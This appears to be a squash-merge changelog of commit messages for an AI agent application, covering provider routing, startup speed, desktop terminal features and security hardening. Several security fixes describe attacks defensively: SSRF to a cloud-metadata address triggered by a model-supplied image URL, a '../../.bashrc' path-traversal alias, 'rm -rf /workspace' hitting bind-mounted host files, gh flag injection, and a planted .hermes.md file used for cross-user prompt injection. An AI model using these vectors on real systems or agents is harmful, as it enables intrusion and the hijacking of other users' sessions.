When config.yaml has `provider: auto` and a non-cloud `base_url` (e.g. Ollama
at localhost:11434), requests were silently sent to https://api.anthropic.com
whenever ANTHROPIC_API_KEY was present in the environment, ignoring the
configured local endpoint and returning HTTP 401 / "credit balance too low".

Root cause: resolve_provider("auto") scans env vars and returns "anthropic"
when ANTHROPIC_API_KEY is set, before config.model.base_url is ever consulted.

In resolve_runtime_provider(), before calling resolve_provider(), short-circuit
to the OpenAI-compatible resolver when no explicit creds were passed, provider
is "auto"/unset, and a non-cloud base_url is configured. Well-known cloud roots
(openrouter.ai, anthropic.com, openai.com) are matched on HOST (not substring)
so look-alike hosts can't evade the bypass and leak a cloud credential.

* perf(startup): lazy-load gateway platform adapters (#54448)

Bundled platform plugins (telegram, discord, feishu, teams, ...) were
eagerly imported at plugin-discovery time on every `hermes` invocation,
including plain `hermes chat` which never touches a gateway platform.
Their modules import heavy platform SDKs at module level (lark_oapi,
microsoft_teams, discord.py, slack_bolt, ...) — feishu alone pulled in
lark_oapi (~2.6s), teams pulled microsoft_teams (~1.9s).

Discovery now registers a cheap deferred loader per platform in the
platform_registry; the adapter module is imported only when the gateway
/ cron / setup / send_message path actually asks for that platform.
is_registered() and the iterate-all accessors stay correct (deferred
counts as registered; plugin_entries()/all_entries() materialize all
deferred loaders, since those paths genuinely need every adapter).

Cold start: ~4.4s -> ~2.45s to banner. discover_and_load: 2.0s -> 0.3s
(warm), and the heavy SDKs are no longer imported at all in CLI mode.
Every shipped platform remains available out of the box — it just loads
on first use.

* fix(anthropic): ignore stale non-Anthropic base_url across all resolution paths

A config left with `provider: anthropic` but a leftover
`base_url: https://openrouter.ai/api/v1` (e.g. after a provider switch)
would route Anthropic OAuth/setup-token traffic to OpenRouter and 404.

Add `_anthropic_base_url_override_ok()` and gate the three native-Anthropic
resolution branches (pool, explicit, native) on it. The guard honors a
configured `model.base_url` only when it plausibly speaks the Anthropic
Messages protocol — official `*.anthropic.com` / `*.claude.com` hosts, Azure
Foundry endpoints, and `/anthropic`-suffixed or Kimi `/coding` proxies — and
falls back to `https://api.anthropic.com` otherwise. Aggregator URLs like
openrouter.ai / api.openai.com are treated as stale.

Reconstructed from @clovericbot's PR #3661 onto current main: the original
patched one branch with an anthropic-only allow-list, which would have broken
Azure-via-anthropic; widened to all three sites and made Azure/proxy-safe.

* docs: add PR infographic for anthropic stale base_url guard

* fix(security): SSRF guard yuanbao media download_url (#54470)

yuanbao_media.download_url() fetched model-supplied (outbound) and inbound
image/file URLs server-side via httpx with follow_redirects=True and no
SSRF check. A model response containing <img src="http://169.254.169.254/...">
routed through ImageUrlHandler -> download_url and would fetch cloud-metadata
endpoints; same for inbound media.

Add an is_safe_url() pre-flight plus an async redirect event-hook that
re-validates every 30x target, matching the cache_image_from_url() guard in
gateway/platforms/base.py. The other gateway adapters already guard their
URL-fetch paths; this was the remaining unguarded one.

* perf(startup): parse config + plugin manifests with libyaml CSafeLoader (#54486)

The startup config/manifest reads used PyYAML's pure-Python SafeLoader,
which is ~8x slower than the libyaml-backed CSafeLoader C extension.
config.yaml is parsed several times during launch (cli config, raw
config, early interface/redaction bridge, logging config) and every
plugin manifest is parsed once — all on the slow path.

Add utils.fast_safe_load (CSafeLoader-preferring, pure-Python fallback,
true drop-in for safe_load) and route the hot startup parse sites
through it: hermes_cli/config.py (config + manifest reads),
hermes_cli/plugins.py (manifest parse), env_loader, cli.load_cli_config,
hermes_logging, and the two pre-config early YAML bridges in main.py.

Behavior is identical (same restricted safe tag set); only speed changes.
safe_load calls on the startup path drop from ~79 to ~0, cutting the
YAML parse cost from ~0.9s to ~0.15s under profiling.

Adds tests/test_fast_safe_load.py asserting equivalence with safe_load
across input shapes, empty-doc falsiness, C-loader preference, and that
python/object tags are still rejected (safe, not full loader).

* fix(windows): hide console flash on checkpoint git + skills_hub gh probes

The #54236/#54417 backend git/gh sweep routed git_probe, the repo-file
picker, coding_context, context_references, copilot_auth, and the gateway
process scans through CREATE_NO_WINDOW, but two sibling spawn legs that
also run inside the console-less desktop/gateway backend were missed:

- tools/checkpoint_manager.py `_run_git` (and the one-shot `git init
  --bare` in `_init_store`) — when checkpoints are enabled, every
  file-mutating turn fires multiple bare `git` calls (status, add,
  write-tree/commit-tree, update-ref). Spawned from a parent with no
  console (Electron spawns the backend with windowsHide → CREATE_NO_WINDOW),
  each one allocates its own conhost window → a flurry of terminal popups.
- tools/skills_hub.py `GitHubAuth._try_gh_cli` — `gh auth token`, the same
  bug class as the already-fixed copilot_auth gh probe.

Route both through `windows_hide_flags()` (no-op on POSIX), matching the
established per-site pattern. Tests added to
tests/test_windows_subprocess_no_window_flags.py.

* fix(windows): hide pdftoppm console flash on PDF attach

server.py's PDF-attach handler shells out to `pdftoppm` from the
console-less desktop/gateway backend; on Windows that pops a conhost
window each attach. Route it through windows_hide_flags() like the
sibling _list_repo_files git calls (no-op on POSIX).

* refactor(windows): unify windowless spawn form across the touched sites

windows_hide_flags() already returns 0 on POSIX (and creationflags=0 is
the no-op default there, exactly how server.py::_list_repo_files does it),
so drop the IS_WINDOWS import + ternary/one-use-dict gating and just pass
creationflags=windows_hide_flags() directly. Tests lose the now-pointless
IS_WINDOWS monkeypatch.

* fix(dashboard): stop ElevenLabs voice-list 401 log spam

The /api/audio/elevenlabs/voices endpoint logged a WARNING on every
failure, and the desktop re-polls it on each settings open/focus — a
bad/expired/scoped ELEVENLABS_API_KEY floods agent/gui logs with
identical "voice list failed: HTTP Error 401" lines indefinitely.

Treat 401/403 as a persistent "integration unavailable" state: return
{available: false, error: "unauthorized"} with a 200 (the dropdown
already handles available:false) instead of a 502, and collapse repeated
identical failures to a single log line via a small re-arming latch
(logs again on recovery or when the error changes). Non-auth errors keep
the 502 but are throttled the same way.

* test(gmi): stub profile fetch_models in static-fallback test

The fallback test only mocked fetch_api_models; CI still hit the real GMI
/v1/models endpoint via ProviderProfile.fetch_models and merged live
models into the result.

* fix(desktop): restore cross-wired runtime-id guard on session resume

resumeSession's warm-cache fast-path once again trusted the
storedSessionId -> runtimeId -> ClientSessionState mapping without
checking the cached state still BELONGS to the session being resumed. A
pooled profile backend that gets idle-reaped and respawned re-mints
runtime ids, so a recycled id resolves to a live-but-DIFFERENT session's
cache entry and paints the wrong transcript under the current route:
click thread A, a totally different thread (often from another worktree)
loads. The session.usage 404 guard only catches a fully-dead id; a
recycled-live id 200s, so the fast-path happily served the stale cache.

Straight regression, not a new bug. f7bf74064 ("reject cross-wired
runtime-id cache on session resume") landed takeWarmCache() + its
regression test; 62af32efe ("keep active sessions aligned with cwd"),
rebased off a stale branch, restructured resumeSession and silently
reverted both 29 minutes later -- the exact stale-branch squash clobber
AGENTS.md warns about ("Squash merges from stale branches silently
revert recent fixes").

Re-apply the whole-class fix on top of the current cwd-aligned code:
takeWarmCache() validates state.storedSessionId === storedSessionId at
BOTH cache reads (the early transcript-keep decision and the fast-path),
purging a cross-wired mapping on a miss so it falls through to a full
resume that rebinds a correct runtime id. Restore the two regression
tests guarding it.

Tests: resumeSession warm-cache mapping integrity -- a cross-wired
mapping is rejected + purged (the bug), a correctly-wired cache is still
served with no needless refetch (no perf regression).

* feat(desktop): multi-terminal panel with side tab rail

Multiple persistent in-app terminals managed by a thin VS Code-style icon
rail docked on the terminal pane's outer edge. Each tab is its own live
xterm+PTY that survives tab switches, session switches, and hiding the pane
(VS Code parity: only an explicit close or `exit` kills a shell). Terminals
own their state independent of the session — the sole thing they inherit is
an initial cwd snapshotted at creation.

- Rail: icon-only tabs (name + live hotkey on hover), +/hide controls,
  context menu. Sits at z-40 above the collapsed sidebars' hover-reveal
  triggers and marks itself data-suppress-pane-reveal, so reaching for a tab
  can't summon the file-browser/review panel.
- Lifecycle: PersistentTerminal latches mounted on first open so shells stay
  alive while hidden; ensureTerminal re-creates one on reopen.
- Agent reader: id-keyed registry drives read_terminal off the active tab.
- Keybinds (Ctrl-family, OS-aware): toggle Ctrl+`, new Ctrl+Shift+`,
  next/prev Ctrl+Shift+Down/Up, close Ctrl+Shift+W.

* fix(desktop): keep inactive terminals sized so switching doesn't garble

Hide inactive terminal tabs with `visibility` (absolute-stacked at full size)
instead of `display:none`. A display:none host is 0×0, so its ResizeObserver
fit bails and the terminal stops tracking pane resizes — re-showing it at a
changed size reflowed the buffer into a garbled prompt. Visibility-hidden
hosts keep their layout size, stay in sync, and switch instantly.

* feat(desktop): ⌘W closes the focused terminal

Fold terminal close into the existing ⌘/Ctrl+W handler so focus decides the
target: a focused terminal takes ⌘W (closes the active tab) and otherwise the
keystroke closes the active preview tab as before. Only the ⌘ gesture is
intercepted — Ctrl+W stays the shell's werase — and a focused terminal never
lets ⌘/Ctrl+W close a preview out from under it.

* refactor(desktop): generalize focus check to isFocusWithin primitive

Replace the one-off isTerminalFocused with isFocusWithin(selector) in the
keybinds lib (beside isEditableTarget) — the reusable primitive for any
focus-scoped shortcut. The terminal marks itself data-terminal and the ⌘W
handler routes via isFocusWithin('[data-terminal]'); future surfaces just add
their own marker.

* fix(desktop): force a repaint when a terminal is re-activated

A WebGL terminal doesn't paint while visibility:hidden, so switching to it
(e.g. after closing the active tab) revealed a stale/garbled frame. On
activation, clear the glyph atlas and force a full term.refresh against the
live buffer (after the refit), then focus.

* feat(desktop): mirror agent background terminals as read-only tabs

When the agent runs terminal(background=true) — Hermes's equivalent of
Cursor's is_background — surface it as a read-only "agent" tab in the rail
(distinct sparkle icon), alongside the glanceable status-stack row, which now
links to the tab. The tab is a write-only xterm (no PTY, no input) fed by the
process output tail, appended live (faster poll while a tab is open) and
env-agnostic (works for local/docker/ssh shells alike).

- terminals.ts: TerminalEntry gains kind ('user'|'agent') + procId; agent tabs
  auto-surface once (closing one doesn't resurrect it) and the status row can
  reopen/focus them. ensureTerminal now guarantees a user shell specifically.
- use-agent-terminal.ts: slim read-only xterm hook, delta-appended.
- workspace: render user vs agent instances; auto-surface from the background
  store; tail faster while an agent tab exists.
- composer-status: $backgroundOutputByProc selector; status row links to the tab
  instead of an inline disclosure.

* feat(desktop): stream agent terminal output live instead of polling

Replace the 5s output_tail poll (which often showed nothing) with a real push
stream. The process registry gains an on_output sink called from its reader
threads with each chunk; the tui_gateway wires it to emit agent.terminal.output
{process_id, chunk} (write_json is _stdout_lock-guarded, so emitting from the
reader thread is safe). The desktop routes chunks by process id straight into
the read-only agent xterm via a small writer registry, with a capped backlog so
a tab opened mid-stream (or reopened) replays what it missed.

Drops the fragile poll/tail path: no session-key matching, no truncation, no
lag — full-fidelity ANSI, env-agnostic (local/docker/ssh).

* fix(desktop): seed agent terminal tabs from process snapshots

Read-only agent terminal tabs now consume both live agent.terminal.output chunks
and the process-list/status snapshot. The snapshot seeds tabs opened after output
already exists and acts as a fallback if the live stream races startup, so agent
background tabs don't sit blank while the status stack already knows the tail.

* fix(desktop): show the agent command before terminal output arrives

Seed read-only agent terminal tabs with the background command immediately, so
they never open as a blank pane while stdout is pending or a live stream races
startup. Snapshot fallback now preserves that command header and appends only
missing output without duplicating live chunks.

* fix(docker): gate resource limit flags on cgroup controller availability (#54516)

On hosts where the cgroup v2 cpu/memory/pids controllers are not delegated
to the docker/podman process (unprivileged Proxmox LXCs, some rootless and
nested setups), --pids-limit/--cpus/--memory cause every container start to
fail with OCI runtime error / exit 126, breaking terminal + execute_code.

- Add _cgroup_limits_available(image): one-shot, host-wide cached probe that
  spawns a throwaway container from the sandbox image itself (sleep 0) with
  all three flags together, mirroring the existing _storage_opt_supported
  probe-and-degrade pattern.
- Remove --pids-limit from static _BASE_SECURITY_ARGS; apply it (default 256
  via _DEFAULT_PIDS_LIMIT) in resource_args gated on the probe.
- Gate --cpus and --memory on the same probe.

Behavior unchanged on cgroup-capable hosts; graceful degradation with a
one-time warning where controllers aren't delegated.

Fixes #6568.

* fix(terminal): require approval for host-bound Docker commands (#54483)

* fix(terminal): require approval for host-bound Docker commands

The Docker terminal backend blanket-skips dangerous-command approval on
the assumption that the container is isolated from the host. That holds
only when nothing is bind-mounted in. Once a host path is exposed (via
TERMINAL_DOCKER_MOUNT_CWD_TO_WORKSPACE or a host-path entry in
TERMINAL_DOCKER_VOLUMES), a command like `rm -rf /workspace` reaches
real host files but is still auto-approved.

Detect host bind mounts and route those sessions through the normal
approval flow. Isolated Docker keeps the fast path. The same gating is
applied to the execute_code guard, which had the identical blanket skip.

* fix(security): redact bare-token credentials in URL userinfo (#6396) (#54475)

git remote set-url with an embedded password (https://PASSWORD@github.com)
leaked the credential into agent output — the redaction engine only masked
user:pass@ DB connection strings, never the colon-less bare-token userinfo
form a git remote uses.

Add _URL_BARE_TOKEN_RE: scheme://TOKEN@host for web/transport schemes
(http/https/wss/git/ssh/ftp), 8+ char floor to skip short usernames, token
class forbidding /:@ so an @ in a path/query is never treated as userinfo.

Deliberately scoped to the bare-token form only. The user:pass@ colon form
and query-string tokens stay passing through (#34029, 'pass web URLs through
unchanged') so magic-link / OAuth round-trip skills keep working — a bare
credential in userinfo is never a workflow token (those live in the query
string), so masking it can't break a skill.

* fix(config): strip `export ` prefix in .env parsers across three modules

All three .env parsers use `line.partition("=")` without stripping the
bash-compatible `export ` prefix first.  A line like `export API_KEY=sk-...`
produces key `"export API_KEY"` instead of `"API_KEY"`, silently ignoring
the variable and causing auth failures for users who copy-paste from
bash profiles or follow tutorials that include `export`.

* fix(agent): guard Anthropic interrupt, cap vision data-URL size

Two independent agent-loop hardening fixes:

- anthropic: when the streaming loop breaks on _interrupt_requested,
  return None instead of calling stream.get_final_message() on the
  partially-drained stream — the SDK may hang draining remaining events
  or return a Message with incomplete tool_use blocks. The outer poll
  loop raises InterruptedError, so the return value is discarded anyway.

- vision: add a 20 MB cap on base64 data-URL payloads before
  base64.b64decode() in _materialize_data_url_for_vision. A 100MB+
  payload creates ~275MB of memory pressure; gateway users sharing the
  process can trivially OOM it. Oversized payloads return ("", None).

The third change from the original PR (streaming tool-name +=  to
assignment dedup) was already landed independently on main.

* fix(gateway): sanitize agent error messages, validate webhook gh args

Two of the three fixes from PR #6660 (the cli.py reopen_session change is
moot — that raw _conn.execute reopen block no longer exists on main).

- gateway/run.py: stop sending raw type(e).__name__ and str(e)[:300] to
  end users on chat platforms. Exception text from LLM providers can leak
  API URLs, file paths, and partial credentials. Return a generic message;
  keep curated status hints for known HTTP codes; full detail stays in logs.
- gateway/platforms/webhook.py: validate pr_number (positive int) and repo
  (owner/name regex) before passing to the 'gh pr comment' subprocess.
  Payload-controlled values could otherwise inject gh flags (--help, a
  different --repo). List-form subprocess means this is arg injection, not
  shell injection, but validation is still correct.

* fix(profiles): validate custom alias names to prevent path traversal

`hermes profile alias <profile> --name <custom>` accepted arbitrary
strings and used them verbatim as a filename under ~/.local/bin. Because
normalize_profile_name only lowercases/strips (no regex gate), a value
like `../../.bashrc` escaped the wrapper directory and clobbered
arbitrary user-writable files. remove_wrapper_script had the same sink.

Add validate_alias_name (reusing the profile-id regex, which forbids
`/`, `.`, and `..`) and wire it into check_alias_collision,
create_wrapper_script, remove_wrapper_script, and the CLI alias action so
the rejection surfaces a clear "Invalid alias name" error instead of
silently writing or unlinking outside the wrapper dir.

* feat(desktop): unify non-settings overlays under a shared Panel primitive

Extract the agents/trace overlay chrome into overlays/panel.tsx and adopt it
across the Cron, Profiles, and Agents overlays so they share one layout
(centered card, header, master/detail list with built-in search, kebab row
actions, big "+" footer, empty state) instead of three ad-hoc split layouts.

Also in this pass:
- OverlayView insets equidistantly on every side (was top/left-only, which
  left a large left gutter on narrow windows).
- Form-control chrome: input border/background/recessed-inset are now
  per-mode theme-var knobs (--dt-input-border/-bg/-inset) — resting borders
  blend in, strengthen on hover, and go solid on focus / while a Select is open.
- Thread-timeline popover reuses the shared dropdown surface (1:1 with the
  kebab menus) and scrolls the hovered prompt into view.

* chore(desktop): drop dead overlay primitives

Remove zero-consumer overlay code surfaced while auditing the primitive set:
OverlayNewButton (orphaned once "New" moved into PanelAddButton), OverlayCard /
overlayCardClass, and the unused overlay-search-input module. Leaves three
intentional layers: OverlayView (base), Panel (master/detail), and
OverlaySplitLayout (settings/command-center nav→content).

* fix(approvals): warn and default to manual on unknown approvals.mode

_normalize_approval_mode() previously accepted any string, so an unknown
value like 'auto' fell through every downstream mode check (off/smart) and
silently behaved like manual with no signal. Validate against the known
modes (manual/smart/off), emit a warning for anything else, and default to
manual to match the config default and the rest of the function.

Bug 1 from the original PR (/approve & /deny bypassing the running-agent
guard) already landed on main independently, so only the mode-validation
fix is salvaged here.

Fixes #4261

Co-authored-by: Hermes Agent <agent@nousresearch.com>

* docs: add PR infographic for approval mode validation

* style(desktop): prettier + eslint pass

Repo-wide `npm run fmt` + `eslint --fix`; also drop two unused destructured
params in titlebar-overlay-width.cjs so the lint run is clean.

* feat(desktop): live agent terminals + agent-driven tab close

Make the read-only agent terminal mirrors stream in real time and give
the agent a desktop-only way to dismiss its own tabs.

- Stream background output live: the local reader used a blocking
  read(4096) that buffered small periodic output until EOF, so agent
  tabs only "filled in" at process exit. Switch to buffer.read1(4096)
  (decoded) for incremental chunks.
- Route agent.terminal.output / terminal.close to the window that owns
  the process (its gateway session) instead of an empty session id, so
  events actually reach the desktop renderer.
- Add close_terminal: a HERMES_DESKTOP-gated tool (sibling of
  read_terminal) that drops a process's read-only tab WITHOUT killing it
  via process_registry.on_close; output keeps buffering and the user can
  reopen from the status stack.
- ⌘W now closes a focused agent tab: mark the agent instance
  data-terminal and focus it on activation so isFocusWithin routes there.
- ensureTerminal() no longer spawns an extra user shell when a tab
  already exists (e.g. opening a background task from the status stack).

* feat(dashboard): catalogue all memory-provider API keys in OPTIONAL_ENV_VARS

The dashboard Keys page and `hermes setup` render API-key rows from
OPTIONAL_ENV_VARS, but only Honcho had an entry — so Hindsight,
Supermemory, Mem0, RetainDB, ByteRover, and OpenViking read their keys
straight from os.environ yet had no place to set them in the GUI.

Add catalog entries (category=tool, password-masked, with get-key URLs
and the tool each powers) for all six, plus the relevant base-URL/endpoint
companions. Pure declaration: the generic GET /api/env endpoint, the
save/reveal write path, and the sandbox env blocklist (which auto-derives
from tool-category OPTIONAL_ENV_VARS) all pick these up with no further
wiring.

Adds a behavior-contract test asserting every memory provider's primary
credential key is catalogued, tool-categorised, and password-masked.

* fix(desktop): make agent terminal tabs fully readable

Register read-only agent terminals with the same renderer-side terminal reader
as user terminals so read_terminal works on whichever tab is active.

Also bring agent xterm rendering closer to user-terminal parity (unicode 11,
web links, font weights/spacing) and make the gateway sink wiring resilient if
only one terminal event sink was already installed.

* refactor(desktop+dashboard): extract shared WebSocket/JSON-RPC layer

The Electron desktop app and the web dashboard each carried their own
copy of the tui_gateway JSON-RPC WebSocket client plus near-identical
auth'd WS-URL construction. The dashboard's copy was the historical
source of the "is the dashboard required to run the desktop app?"
confusion, since the two surfaces looked coupled.

Consolidate the genuinely shared transport into the existing
framework-agnostic `@hermes/shared` package so both surfaces consume it
independently — neither app depends on the other:

- Move `resolveGatewayWsUrl` + `GatewayReauthRequiredError` (single-use
  OAuth ticket re-mint vs long-lived token fallback) into
  `@hermes/shared`; desktop now imports them directly.
- Add `buildHermesWebSocketUrl`, one base-path/scheme/auth-aware URL
  builder, and route every dashboard WS endpoint through it
  (`/api/ws`, `/api/events`, `/api/pty`, plugin WS URLs).
- Reduce the dashboard `GatewayClient` to a thin subclass of the shared
  `JsonRpcGatewayClient`, deleting ~210 lines of duplicated pending-call
  /event-dispatch/connect plumbing while keeping its dashboard-specific
  ticket-vs-token auth selection.
- Drop the stale "start it with --tui" chat banner, which implied the
  dashboard flag was required.

Behavior is preserved on both surfaces; the dashboard additionally
inherits the shared client's 15s connect timeout (previously
desktop-only), so a hung connect now fails fast instead of pinning the
composer in "connecting".

* fix(desktop): match agent terminal scrollback to user tabs

Keep read-only agent terminal tabs visually and behaviorally aligned with normal
terminal tabs by using the same 1,000-line scrollback cap.

* fix(shared): close websocket clients deterministically

Ensure intentional client closes mark the transport closed and reject pending
RPCs immediately instead of relying on a browser close event that can be
ignored after the socket reference is cleared.

* feat(desktop): live gateway popout + statusbar/command-center polish

- Gateway status popout: flatten the header to stacked connection + inference
  statuses with system-panel and restart actions (reusing the shared
  runGatewayRestart helper). The recent-activity tail is now live while the
  popout is open via the shared LogView (WS connection churn filtered), and the
  icon / "View all logs" link dismiss the popover.
- Statusbar "menu" items accept a menuContent(close) render fn over a now
  controlled DropdownMenu, so popover content can close itself.
- Drop the always-on gateway-log poll from useStatusSnapshot (logs are fetched
  by the popout only while open).
- SearchField → text-xs to match Input/Select (controlVariants).
- Command center: remove the usage/system section dividers, swap the sessions
  nav icon (Pin → MessageCircle), small padding tweaks.

* refactor(web): centralize dashboard websocket URL calls

Keep dashboard pages and components on the dashboard API helper instead of
calling the raw shared URL primitive directly. The shared helper remains the
single low-level implementation; web/src/lib/api.ts is the dashboard-specific
facade for auth, base path, and ticket minting.

* chore(desktop): keep the diff surgical

Revert the repo-wide prettier churn the earlier fmt pass pulled into files
unrelated to this work; run prettier/eslint scoped to the touched files only.

* style(shared): apply workspace formatter to websocket helpers

Run the package-appropriate Prettier config on the shared WebSocket files so
the extracted helpers match the surrounding desktop/shared TypeScript style.

* fix(desktop): stop injecting ctrl-l into terminal startup

Remove the prompt-gap cleanup that sent Ctrl-L into the user's shell; it could
render as literal ^L and create the exact top-line gap it was meant to hide.
Keep first-prompt cleanup renderer-side only, and parse short ESC charset
sequences so the initial newline stripper does not disarm early.

Also add a Close all action to the terminal tab context menu.

* fix(docker): include apps/shared in dashboard image build

The shared websocket package is a web file: dependency but was excluded
by .dockerignore and never copied into the Docker build context. Also fix
tsc -b errors: expose buildWsUrl on api and drop the GatewayClient state
getter that conflicted with the shared base class.

* docs: clarify desktop is self-contained, not dependent on the dashboard

The desktop app spawns a headless `hermes dashboard --no-open` backend and
talks to it through the shared @hermes/shared WebSocket client — it never
runs or requires the browser dashboard UI. Spell this out in the desktop
README, the desktop docs page, and AGENTS.md so "dashboard" stops reading
as a desktop prerequisite.

* feat(cli): add headless `hermes serve` backend; desktop no longer launches `dashboard`

The desktop app spawned `hermes dashboard --no-open` as its backend, which
made the dashboard look like a desktop prerequisite. Add a dedicated headless
`hermes serve` command that boots the same gateway (shared cmd_dashboard /
start_server) but never opens a browser, and point the desktop backend spawn
exclusively at it. dashboard and serve are now independent surfaces — neither
launches the other.

- subcommands/dashboard.py: factor shared server args; add `serve` parser
  (always headless; accepts legacy --no-open as a no-op)
- main.py: register serve in _BUILTIN_SUBCOMMANDS + coalesce set + gui-log
  detection; extend stale-backend reaper patterns to match `serve`
- desktop electron: spawn `serve`, rename dashboardArgs -> backendArgs,
  update comments + windows-child-process test assertions
- docs: desktop README, desktop.md (incl. remote-backend), AGENTS.md, and
  cli-commands.md now describe `hermes serve` as the desktop/headless backend

* fix(desktop): route old runtimes through `dashboard` when `serve` is absent

`hermes serve` is newer than the desktop binary's release cadence, so a new
app launched against an un-upgraded managed install / PATH `hermes` would
crash on an unknown subcommand and brick the user mid-upgrade. Detect whether
the resolved runtime registers `serve` (fast source read of its dashboard.py,
with a one-time CLI probe fallback) and rewrite the backend argv to the legacy
`dashboard --no-open` only when it does not. Happy path (current runtimes)
pays nothing and still spawns `serve`.

- electron/backend-command.cjs: pure serve/dashboard argv helpers + serve-
  source detection (unit-tested in backend-command.test.cjs)
- main.cjs: backendSupportsServe() cache + getBackendArgsForRuntime() guard at
  both backend spawn sites; expose `root` from the Windows venv unwrap so the
  fast source check covers Windows too
- docs: note the backward-compat fallback in README, desktop.md, AGENTS.md

* test(cli): pin the `hermes serve` decoupling contract

Add a focused contract test for the headless `serve` command (routes to the
shared dashboard handler, headless by default while `dashboard` is not, accepts
the legacy --no-open, shares the same runtime/lifecycle flag surface). Also
refresh the dashboard.py module docstring to cover both commands.

* feat(desktop): persist & restore terminal tabs + scrollback across relaunch

User terminal tabs and their recent scrollback now survive an app restart
(VS Code parity). Tabs, active selection, cwd, and a serialized scrollback
snapshot are written to localStorage on every change; on launch the tabs
reopen with their history replayed above a fresh shell. Processes are NOT
revived — a new shell starts one line below the restored block.

- Capture: SerializeAddon snapshots the buffer on a 750ms leading-edge
  throttle, so a `cmd; quit` lands on disk before teardown; the snapshot is
  trimmed of its trailing idle prompt (no "double prompt" on restore) and
  capped (200 scrollback lines / 48k chars) to stay under the storage budget.
- Teardown guard: app quit/reload kills the PTYs from the main process,
  firing onExit in the renderer, but React skips effect cleanups on teardown
  so the per-instance `disposed` flag never flips. A pagehide/beforeunload
  flag stops onExit from calling closeTerminal() and wiping the persisted
  tabs right before relaunch restores them. A real `exit`/Ctrl-D still closes.
- Agent mirror tabs stay runtime-only — only user tabs persist.

* fix(agent): limit .hermes.md parent walk to git repos only

_find_hermes_md walks parent directories looking for .hermes.md/HERMES.md,
stopping at the git root. But when there is no git repo (_find_git_root
returns None), the stop guard never fires and the loop walks all the way
to /. On shared systems (CI runners, multi-tenant servers), a .hermes.md
planted at /tmp, /home, or / would be loaded into the system prompt of any
agent session not inside a git repo — a cross-user prompt-injection vector.

Fix: when there is no git root, only check cwd; do not walk parents.

* test(agent): cover .hermes.md no-git-root cwd-only behavior

Regression tests for the injection fix: outside a git repo only cwd is
checked (planted ancestor .hermes.md is ignored), a cwd-local .hermes.md
is still found, and inside a git repo the parent walk to the git root
still works.

* chore: remove committed PR infographics and gitignore the path (#54564)

PR infographics are rendered locally and embedded in PR descriptions via
the image-provider (fal.media) URL — they were never meant to live in the
repo. The intended .gitignore enforcement (documented as added back in May
2026) was never actually committed, so 35 PNGs (~54MB) accumulated under
infographic/ via 'docs: add PR infographic for X' commits.

- Remove all 35 tracked infographic/*.png files.
- Add infographic/ to .gitignore so git add on the path is now a no-op.

The PR body remains the archive for these images.

* fix: normalize lmstudio base urls

* chore(release): add AUTHOR_MAP entry for PR #53295 salvage

* fix(matrix,mattermost): invite auth check + API path traversal guard

Two platform-security hardenings:

- Matrix: _on_invite now checks the inviter against the existing
  allow-list (_allowed_user_ids / GATEWAY_ALLOW_ALL_USERS) before
  auto-joining. Without this any federated Matrix user could invite
  the bot into arbitrary rooms, exposing its presence and metadata.
  The message and reaction paths already enforce this allow-list; the
  invite path bypassed it.

- Mattermost: _api_get / _api_post / _api_put reject any path
  containing '..'. WebSocket-event values (channel_id, post_id,
  file_id) are interpolated directly into API paths, so a malicious or
  compromised server could craft traversal payloads to make the bot
  issue authenticated requests to arbitrary endpoints with its bearer
  token.

The configurable-E2EE-passphrase change from the original PR is dropped:
the matrix adapter was rewritten onto mautrix and the passphrase-protected
key-export file no longer exists.

* test(matrix): authorize inviter in DM-invite fixture for new invite-auth gate

_on_invite now rejects auto-joins from users not on the allow-list. The
DM-recording tests invite @alice and expect a join, so the shared
_make_adapter fixture now puts @alice on _allowed_user_ids.

* fix(cron): don't report a false 'gateway not running' on external-provider instances (#54600)

`hermes cron status` (and the create/list 'gateway not running' nag)
judge whether cron will fire purely from the in-process ticker's
heartbeat file + a live gateway PID. That heuristic is correct for the
built-in ticker but WRONG for an external provider like Chronos:

Chronos arms exactly one external one-shot per job and is fired by a
NAS-mediated webhook (POST /api/cron/fire). Its `start()` returns
immediately and it deliberately runs no 60s loop and writes no ticker
heartbeat — that's the whole point of scale-to-zero (the machine is at
zero between fires). So on a perfectly healthy Chronos instance,
`cron status` always printed '✗ Gateway is not running — cron jobs will
NOT fire' (or a STALLED-ticker warning), and `cron create` always
appended the 'jobs won't fire automatically' nag — both false.

Verified live on a staging Chronos instance: jobs fired and completed on
schedule via the relay while `cron status` insisted the gateway wasn't
running and the heartbeat was 370s+ stale.

Fix: resolve the active provider (offline — `resolve_cron_scheduler`,
whose `is_available()` contract forbids network) and, for any non-builtin
provider, report the managed-scheduler state instead of the ticker
heuristics, and suppress the ticker-only 'gateway not running' warning.
The built-in path is byte-unchanged. Active-job summary is factored into
a shared helper so both paths print it identically.

New tests prove both directions (chronos: no false negative even with no
gateway PID / no heartbeat; builtin: historical warning preserved) and
fail without the fix.

* fix(skills): replace string prefix check with strict path containment

with a plain loop so the file is stdlib-only.

* docs(cron): document explicit per-channel delivery targets for all platforms (#54630)

The cron delivery table only showed Discord/Telegram with explicit
target syntax and described Slack and every other platform as
home-channel-only. In fact the generic platform:<target> routing in
_resolve_single_delivery_target resolves explicit targets for every
platform: Slack (#channel / channel ID / channel:thread_ts), Matrix
(room/user IDs), Feishu (chat:thread), WhatsApp (JID / E.164), Signal
(group / E.164), SMS, Email, and Weixin all have dedicated explicit-
target branches in _parse_target_ref; the remaining platforms accept a
generic platform:<chat_id> passthrough.

Update the Delivery Model table (en + zh-Hans) to show the real
per-platform syntax, document #channel name resolution via the channel
directory, and note the Slack thread_ts nuance. Docs-only.

* Add dashboard backup upload and download

* fix(gateway): clear session-scoped model overrides on /resume

/resume is a conversation boundary, but unlike /new it did not clear the
chat-keyed _session_model_overrides / _pending_model_notes. A /model switch
made in the previous session under the same chat session_key leaked into the
resumed conversation, running it on the wrong model.

Clear both maps for the session_key after the switch (mirroring /new), scoped
to that key so other chats' overrides are untouched. The cached-agent eviction
this leak also implied already landed via #6672.

Closes #10702.

* fix(gateway): evict cached agent on auto-reset to prevent stale context summary leak

When a session is auto-reset by daily schedule, idle timeout, or suspended
state, the agent cache was not being cleared. This caused the old agent's
context_compressor._previous_summary to leak into the new session, mixing
old conversation history into new compaction summaries.

This was the root cause of the "skin making history" appearing after
compaction in fresh sessions reported by the user.

Follow-up to #9893 which only handled compression_exhausted case.

Changes:
- Add _evict_cached_agent(session_key) call after was_auto_reset check
- Covers daily, idle, and suspended auto-reset scenarios
- Matches the behavior of manual /reset command

Related tests: test_session_boundary_hooks, test_async_memory_flush,
test_session_reset_notify, test_session_reset_fix - all passing.

